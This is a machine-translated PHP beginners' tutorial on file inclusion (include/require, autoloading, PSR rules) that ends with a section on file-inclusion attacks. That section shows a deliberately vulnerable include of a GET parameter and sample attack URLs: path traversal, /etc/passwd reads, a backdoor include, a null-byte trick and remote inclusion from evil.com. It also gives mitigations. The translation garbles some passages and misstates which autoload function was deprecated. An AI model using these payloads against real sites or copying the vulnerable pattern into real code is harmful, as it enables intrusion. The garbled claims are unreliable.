适用于初学者的PHP。 档案连线

为什么和为什么

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

 $a = 0; $a++; $a++; echo $a; //  2 

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

另外，我注意到魔术常量 ： __DIR__ ， __FILE__ __DIR__ ， __FILE__ __DIR__和其他常量 -它们与上下文相关，并在包含发生之前执行

 <?php //   // ... // ?> 

您是否看到包含10,000行的站点文件？ 我的眼泪已经s（╥_╥）...

文件连接功能

• include-包含并执行指定的文件（如果找不到）-会发出警报E_WARNING
• include_once-与上面的函数相似，但是一次包含文件
• require-包含并执行指定的文件（如果找不到）-给出致命错误E_ERROR
• require_once-与上面的函数类似，但是一次包含文件

实际上，这些功能不完全是函数，它们是特殊的语言构造，可以省略括号。 除其他事项外，还有其他方法可以连接和执行文件，但您可以自己进行挖掘，让它成为您的“带有星号的任务”；）

 <p>text of file echo.php</p> 

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

在哪里看？

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

也许值得一提谈论safe_mode ，但这已经是一个故事了（从5.4版开始），我希望您不会遇到它，但是如果突然发现它是什么，但是它过去了...

使用退货

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

有趣的事实，没有它也很好：如果在包含的文件中定义了函数，则可以在主文件中使用它们，而不管它们是在返回之前还是之后声明的

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

自动连接

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

 Fatal error: Cannot redeclare __autoload() 

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

标题“您知道吗？”：第一个参数spl_autoload_register()是可选的，如果不带此参数调用该函数，则将函数spl_autoload用作加载程序，将在include_path文件夹以及扩展名为.php和.inc文件中进行搜索，但这可以使用spl_autoload_extensions函数扩展该列表

由于spl_autoload_register()这样的高级功能已经存在很长时间了，因此spl_autoload_register()函数在PHP 7.1中已经声明为已弃用 ，这意味着在可预见的将来，此函数将被完全删除（X_x）

1. 每个库必须位于其自己的名称空间（所谓的供应商名称空间）中
2. 每个名称空间必须具有自己的文件夹。
3. 在命名空间内可能有子空间-也在单独的文件夹中
4. 一类-一文件
5. 扩展名为.php的文件名必须与类名完全匹配

Php注射

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

 //    http://domain.com/index.php?page=/etc/passwd%00 

在现代版本的PHP中，连接文件路径中零字节字符的存在会立即导致相应的连接错误，即使指定的文件存在并且可以连接，结果也始终是错误的，它按以下方式检查strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) （来自PHP本身）

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

请注意，此指令不仅会影响文件的连接，还会影响文件系统的所有工作，即 包括此限制在内，您必须确保没有忘记指定目录之外的任何内容，缓存数据或任何用户文件（尽管功能is_uploaded_file()和move_uploaded_file()继续与用于下载文件的临时文件夹一起使用）。

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

总结

聚苯乙烯

• 会议
• 档案连线